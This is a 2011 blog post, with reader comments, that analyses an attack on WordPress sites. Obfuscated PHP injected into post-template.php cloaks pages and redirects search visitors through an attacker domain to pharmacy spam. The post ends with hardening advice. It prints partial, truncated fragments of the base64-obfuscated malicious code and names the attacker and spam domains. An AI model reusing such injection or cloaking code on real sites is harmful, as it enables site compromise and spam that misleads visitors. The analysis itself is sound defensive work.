Log in

No account? Create an account

Previous Entry | Next Entry

WordPress Under Attack

Note: followup to this entry here

A couple of weeks ago, a good friend of mine who runs a number of WordPress blogs received an email from Google. The email told him that Google had delisted his entire site from its search engines for pharmacy spam.

Now, his site is a collection of short stories and blogs about movies he's making, with sections about filmmaking and special effects on the cheap, so the notion that it was being used to distribute pharmacy spam was a bit...surprising. Especially when the site appeared just fine to anyone who visited it.

I offered to take a look at the site, and what I found is a complex, rapidly-evolving attack against WordPress installations that's highly sophisticated, difficult to detect, and difficult to defend against. It is currently exploiting the most up-to-date version of WordPress with all current patches applied, and as of the time of this writing it's still ongoing.

When my friend was first notified of being delisted from Google, he looked at his site using an FTP program. One of the very first things he noticed is that the WordPress install directories had all been duplicated, with the duplicates having ".old" appended to the name.

Careful examination of each WordPress install folder and its corresponding .old folder revealed a difference in a key file called "post-template.php", which is part of the core of WordPress and lives in the WordPress wp-includes directory. This file is responsible for taking a blog entry from the database, formatting it, and passing it along to the template.

As of WordPress 3.2.1, the post-template.php file is supposed to be 42,164 bytes long. The post-template.php file in the hacked installs was more than twice as big--89,524 bytes long. I took a look inside the modified post-template.php file and found that it had been extensively modified by the addition of a great deal of heavily obfuscated code.

Cut for detailed technical analysis of the modified WordPress file

The function of the post-template.php file is documented in detail on the WordPress site here. Essentially, what it does is it fetches a particular blog entry, including associated information (the title, the post ID, whether the post is password protected, and so on). The main WordPress loop uses this file to fetch each post and then display it to a Web site user.

The hacked post-template.php had been modified with the addition of hundreds of lines of code that looks like gibberish. A sample of the additional code looks something like this:

$GLOBALS['_486621212_']=Array(base64_decode('ZXJyb3Jf' .'c' .'mVwb' .'3J' .'0aW5n'),base64_decode('' .'Y3' .'V' .'ybF9pbml' .'0'),base64_decode('Y3' .'V' .'ybF9zZXRvcHQ='),base64_decode('YX' .'J' .'yYXlfZ' .'G' .'l' .'mZl9rZXk='),base64_decode('YXJy' .'YXl' .'fZ' .'GlmZl9' .'r' .'ZXk='),base64_decode('Y3VybF9' .'zZ' .'X' .'R' .'vcHQ='),base64_decode('Zmx' .'vY2s='),base64_decode('Zmx' .'vb3I='),base64_decode('Y3V' .'y' .'bF' .'9' .'leG' .'Vj'),base64_decode('Y3V' .'ybF9' .'j' .'b' .'G9zZ' .'Q=' .'='),base64_decode('aW5f' .'YXJyYXk='),base64_decode('' .'cH' .'Jl' .'Z19y' .'ZXBsYWNl'),base64_decode('bXRfcmFu' .'ZA=='),base64_decode('' .'aW1hZ' .'2Vjb3' .'B5b' .'WV' .'yZ2V' .'n' .'c' .'mF' .'5'),base64_decode('Y' .'XJyYXlfa2V' .'5X' .'2' .'V' .'4a' .'XN0cw=='),base64_decode('dXJsZW5j' .'b2R' .'l'),base64_decode('' .'aW5fY' .'XJyY' .'Xk='),base64_decode('dXJsZW5jb2Rl'),base64_decode('dXJ' .'s' .'ZW5jb2R' .'l'),base64_decode('dX' .'JsZW5jb2R' .'l'),base64_decode('' .'dXJsZW5jb' .'2Rl'),base64_decode('c' .'3' .'Ryd' .'G9sb' .'3d' .'lcg=='),base64_decode('c3RycmNocg=='),base64_decode('aGVh' .'ZGVy'),base64_decode('' .'c' .'H' .'JlZ1' .'9t' .'Y' .'XR' .'jaA=='),base64_decode('' .'cHJlZ' .'19' .'tYX' .'RjaA=='),base64_decode('aG' .'Vh' .'Z' .'GVy'),base64_decode('' .'aGVhZGV' .'y'),base64_decode('dXJ' .'sZW5jb2Rl'),base64_decode('dXJsZW5jb2Rl'),base64_decode('dXJ' .'sZ' .'W5jb2' .'Rl'),base64_decode('aW1h' .'Z2V' .'jb' .'3' .'B5c' .'mV' .'zaX' .'plZ' .'A==')); ?>
function _1561294298($i){$a=Array('' .'OC4' .'2' .'L' .'jQ4','N' .'jIuMTcyLj' .'E5OQ==','N' .'jI' .'uMjcuNTk=','Nj' .'Mu' .'MTYzLjEwMg=' .'=','' .'NjQuMTU3' .'LjEzNw==','' .'N' .'j' .'QuMTU' .'3LjEzOA=' .'=','' .'NjQuMj' .'MzLjE3Mw=' .'=','NjQuNjguODA' .'=','Nj' .'Q' .'uNjguODE=','NjQuNjgu' .'ODI=','NjQuNjguOD' .'M' .'=','NjQuNj' .'g' .'uO' .'D' .'Q=','NjQ' .'uN' .'jguODU=','N' .'jQuNjgu' .'ODY=', ...
$GLOBALS['_486621212_']=Array(error_reporting, curl_init, curl_setopt, array_diff_key, array_diff_key, curl_setopt, flock, floor, curl_exec, curl_close, in_array, preg_replace, mt_rand, imagecopymergegray, array_key_exists, urlencode, in_array, urlencode, urlencode, urlencode, urlencode, strtolower, strrchr, header, preg_match, preg_match, header, header, urlencode, urlencode, urlencode, imagecopyresized ?></blockquote>

The second array is huge, containing over a thousand elements. Some of these elements are numbers: '8.6.48', '62.172.199', '62.27.59', '63.163.102', '64.157.137', '64.157.138', '64.233.173', '64.68.80', '64.68.81'. Some are parameters to PHP function calls: 'HTTP_HOST', 'REQUEST_URI', 'QUERY_STRING', 'xcabcz', 'ok!', 'HTTP_HOST', '&page=', 'REQUEST_URI', '&ip=', '&agent=', 'HTTP_USER_AGENT', '1', 'Cache-Control: no-cache, no-store, must-revalidate', '/live|msn|yahoo|google|ask|aol/', 'HTTP_REFERER'. Most are keywords related to pharmacy spam...hundreds and hundreds of them.

Once these arrays are built and the function to decode them is established, the actual code that's added to post-template.php looks like this:

php $GLOBALS['_486621212_'][0](round(0));$_0=array(_1561294298(0),_1561294298(1),_1561294298(2),_1561294298(3),_1561294298(4),_1561294298(5),_1561294298(6),_1561294298(7),_1561294298(8),_1561294298(9),_1561294298(10),_1561294298(11),_1561294298(12),_1561294298(13),_1561294298(14),_1561294298(15),_1561294298(16),_1561294298(17),_1561294298(18),_1561294298(19),_1561294298(20),_1561294298(21),_1561294298(22),_1561294298(23),_1561294298(24),_1561294298(25),_1561294298(26),_1561294298(27),_1561294298(28), ...
php error_reporting(round(0));


The overall intention of the modified post-template.php file is to make decisions about what action to take based on the browser type, IP address, and search engine keywords the visitor's browser presents. The process looks something like this:

It looks at the array of partial IP addresses it has built to see if the incoming request is from one of those address ranges. If it is, it looks for the "keyword" HTTP header. If the keyword header is set to "xcabcz" then it prints "OK".

If either or both of those things are not true, it looks to see if the request is a search engine spider. If it is, it fetches a page from a specially crafted URL at http://googl-analize.in/, and serves up that page.


The Web site at googl-analize.in is still active as of the time of this writing. If it doesn't see the correct specially crafted HTTP headers, as of this moment it serves up a blank page. However, this domain is being used as part of a coordinated attack against Wordpress users. I don't know what else it does. It may look for vulnerable browsers to exploit and/or take other malicious actions. I do not recommend visiting it.

If the browser is a regular user instead of a spider, it looks to see where the visitor came from. If the visitor came from a search engine, it looks to see if the visitor was searching for any of the hundreds of pharma-spam-related keywords in its list. If the answer is "yes," the visitor is sent to a custom URL string made by taking http://googl-analize.in/red and appending to it a number of parameters that include the visitor's IP address, browser type, search engine keywords, and other information. The visitor is then sent to this URL, which redirects the visitor to a pharmacy spam page. The pharmacy spam page changes often; when I first started examining this attack, it was http://www.alltabstore.com/?a=7109. I've seen it redirect to a number of other domains as well. I don't know if the domain being redirected to is chosen from a list of targets randomly, or if there's a pattern to what the destination is.

The first step is interesting. The attack code contains a list of 240 partial IP addresses, such as 8.6.48, 62.172.199, and 62.27.59. If the IP address of the visitor to the site is in the range of any of these 240 partial addresses, the hostile code looks at the browser query string. If it is set to "xcabcz" the attack code presents a blank page that says "ok!".

I'm not quite sure what the purpose of this is. It may represent a first attempt at implementing a mechanism to take control of compromised WordPress sites. At the moment, it's limited to simply looking for IP address ranges and commands embedded in the browser query string, but doesn't do anything except for printing "ok!". This may be nothing more than a way to confirm that a site's been compromised, or it may be a test pilot for a command interpreter that allows for remote control of a site.

There is also a simple mechanism in place for getting updates to the list of keywords from googl-analize.in.

This attack appears to be related to a similar attack on WordPress sites that have been occurring earlier this year. Those attacks are documented here and here. Those attacks are different from this attack in a couple of respects: they don't involve creating a backup copy of attacked WordPress directories; and they do involve modification of the WordPress database, which this attack seems not to.

However, they are similar in some important respects. They involve creating arrays of base64-encoded PHP function names to obfuscate the attack code (the earlier attacks put these arrays into the WordPress database; this attack builds it in PHP). I have not studied those attacks, so I don't know if they have any sort of remote command functionality or not, or if they redirect users to the same Web site.

Most worrying, though, nobody is sure how the attacks are taking place. Securing an attacked Wordpress install appears to be very difficult to do.

My friend decided to wipe the affected Wordpress installs completely, on the grounds that nuking from orbit is the only way to be sure. He deleted the directories, deleted the WordPress databases (after exporting the text of each of his blog posts to XML), and re-uploaded the whole shebang.

Within minutes, the WPinstallations were compromised again. He did this several times, and each time, within moments of setting up a new Wordpress install, it was compromised. This was after creating entirely new databases with different passwords, nuking his FTP accounts and setting up new accounts with very strong passwords, and even running virus scans on his local machine to rule out a password-stealing virus or keylogger on his machine.

There are a few possibilities that I have considered that might account for the attacks:

- A zero-day vulnerability (and a big one!) in WordPress;

- A brute-force FTP attack on sites using WordPress;

- A server-side vulnerability, such as an exploit in Web hosting control software a la the iPower Web hack a few years back.

An FTP attack is possible, though it seems less likely since my friend changed his passwords and scanned for keylogging malware. It's hypothetically possible he's infected with an FTP keylogger that his scans didn't find, though I think it's unlikely.

The folks responsible for WordPress are maintaining that these attacks are not exploiting any weakness in any of their code, but rather are exploiting insecure configurations of shared hosting providers. They claim that improperly secured Web hosting servers are allowing users of one account on the server to modify accounts belonging to other users on the server. This seems plausible, given that not all Wordpress sites appear to be affected; I run about a dozen, and I have not been hit so far. (Of course, I'm also on a Mac, so if there is FTP keylogging software floating around out there, I probably can't be infected by it.) I have seen attacks against Wordpress installs on some hosting providers, like Dreamhost and Liquid Web, but have not yet seen any on other hosting providers, like Hostgator.

They recommend hardening WordPress installs by making sure that file permissions are set properly, as outlined here.

The speed with which my friend's site continues to be hacked when he tries to re-install may indicate an active service running on his hosting provider that automatically hacks vulnerable configurations of WordPress; I'm not sure.

Since the attack vector still is not understood. It is possible this is an attack on a zero-day flaw in WordPress.

If you run a WordPress blog, I highly, highly recommend you do the following:

- Make sure it is updated to the latest version. This is absolutely critical. WordPress is a favorite target of attacks. Fortunately, it's easy; there's an automatic "Update Now" button on the Dashboard.

- Harden WordPress as described in the link above, paying special attention to file permissions. By default, WordPress doesn't install with the tightest possible permissions. On a shared server, this is an essential security basic.

- Use strong FTP passwords and WP admin passwords.

- Remove unneeded theme files.

- Look at your site in Google by typing site:yourwebdomain.com into a Google search. If you see a lot of pharmacy-related words appear as your site description, you've been hacked.

- If you are on a shared hosting server, find out if your hosting provider is using suexec, which is an Apache web hosting mod that can help mitigate against attacks from other users on the server.

I am continuing to explore this attack and will probably write more if and when I learn anything new.


( 30 comments — Leave a comment )
Oct. 10th, 2011 10:50 pm (UTC)
Thanks, just fwd'd this stuff to the guy responsible for our wordpress stuff. :(
Oct. 11th, 2011 12:36 am (UTC)
Wow, this is sophisticated. Nice analysis -- that had to take hours...
Oct. 11th, 2011 08:04 am (UTC)
Good stuff. I've been considering returning to WordPress and will take this on board.

Also: his blog sounds interesting; do be sure to sound the all clear!
Oct. 11th, 2011 11:11 am (UTC)
@theta_g: it sounds like this is only affecting local wordpress.org installations. You should be able to use wordpress.com without trouble (if that's what you mean by "returning to WordPress").
(no subject) - theta_g - Oct. 11th, 2011 11:37 am (UTC) - Expand
(no subject) - tacit - Oct. 11th, 2011 06:22 pm (UTC) - Expand
(no subject) - theta_g - Oct. 11th, 2011 08:01 pm (UTC) - Expand
(Deleted comment)
(no subject) - sylphon - Oct. 12th, 2011 05:16 pm (UTC) - Expand
(no subject) - tacit - Oct. 12th, 2011 05:28 pm (UTC) - Expand
(no subject) - sylphon - Oct. 12th, 2011 05:42 pm (UTC) - Expand
(no subject) - theta_g - Oct. 12th, 2011 06:21 pm (UTC) - Expand
(no subject) - tacit - Oct. 12th, 2011 06:34 pm (UTC) - Expand
(Deleted comment)
(no subject) - sylphon - Oct. 12th, 2011 07:19 pm (UTC) - Expand
(Deleted comment)
(no subject) - sylphon - Oct. 12th, 2011 07:53 pm (UTC) - Expand
(Deleted comment)
(no subject) - sylphon - Oct. 12th, 2011 07:53 pm (UTC) - Expand
Oct. 11th, 2011 08:56 am (UTC)
Running on WordPress? READ THIS NOW.
User drjon referenced to your post from Running on WordPress? READ THIS NOW. saying: [...]   WordPress Under Attack [...]
Oct. 11th, 2011 11:58 am (UTC)
Thanks for the heads up. I have checked both of my Wordpress installations, and they are clean. (I discovered I hadn't backed them up in over a month and took care of that, too, oi!)
Oct. 12th, 2011 06:35 pm (UTC)
I tend to be bad about keeping backups myself, so I can sympathize. :)
Oct. 11th, 2011 02:32 pm (UTC)
thank you! I used this info to check out my own wordpress stuff. thanks for making this easily understood too.
(Deleted comment)
(Deleted comment)
(Deleted comment)
Oct. 12th, 2011 06:35 pm (UTC)
Where is that script? I'd love to take a look at it.
(Deleted comment)
Oct. 25th, 2011 05:41 pm (UTC)
update on le hack-attack
User edwardmartiniii referenced to your post from update on le hack-attack saying: [...] new piece of news on my hacking: First, Analysis #1:  http://tacit.livejournal.com/362704.html [...]
(Deleted comment)
( 30 comments — Leave a comment )